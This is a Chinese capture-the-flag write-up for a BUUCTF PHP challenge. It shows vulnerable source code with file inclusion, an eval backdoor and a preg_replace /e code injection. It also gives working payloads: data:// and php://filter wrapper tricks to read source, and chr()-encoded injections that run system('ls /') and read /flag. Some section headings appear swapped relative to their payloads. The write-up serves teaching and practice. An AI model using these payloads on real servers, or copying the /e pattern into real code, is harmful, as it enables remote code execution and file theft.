preg_replace函数/e后门

preg_replace函数/e后门

前言

  • 环境:buuctf中[BJDCTF2020]ZJCTF,不过如此
  • 知识点:preg_replace,正则匹配反向引用,php双引号解析
  • 参考:wp

做题

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

显然文件包含漏洞,要想满足if语句,可以通过伪协议

通过data协议进行绕过

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

当然也可以通过php://input协议

?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php

[POST:DATA]:I have a dream

得到next.php源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace('/(' . $re . ')/ei','strtolower("\1")',$str);
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "
";
}

function getFlag(){
	@eval($_GET['cmd']);
}

foreach语句把$_GET数组中的键名作为preg_replace函数中的pattern,对应的值作为要匹配的字符串,用了/e 修饰符,当匹配到时,就会把strtolower("\1") 当做php代码执行。\1 在正则匹配中表示匹配的第一个括号中的内容


而注意到strtolower("\1") ,\1 是被双引号包裹起来的,会被当做php解析器解析。可以参考:文章

解法一

直接执行任意命令,用ascii绕过引号,因为这里有引号会导致报错

爆目录

S*=${readfile(chr(47).chr(102).chr(108).chr(97).chr(103))}

读取/flag

S*=${system(chr(108).chr(115).chr(32).chr(47))}

解法二

利用getFlag()函数

?S*=${getFlag()}&cmd=system('ls /');

?S*=${getFlag()}&cmd=system('cat /flag');

原文地址:https://www.cnblogs.com/NineOne/p/14100149.html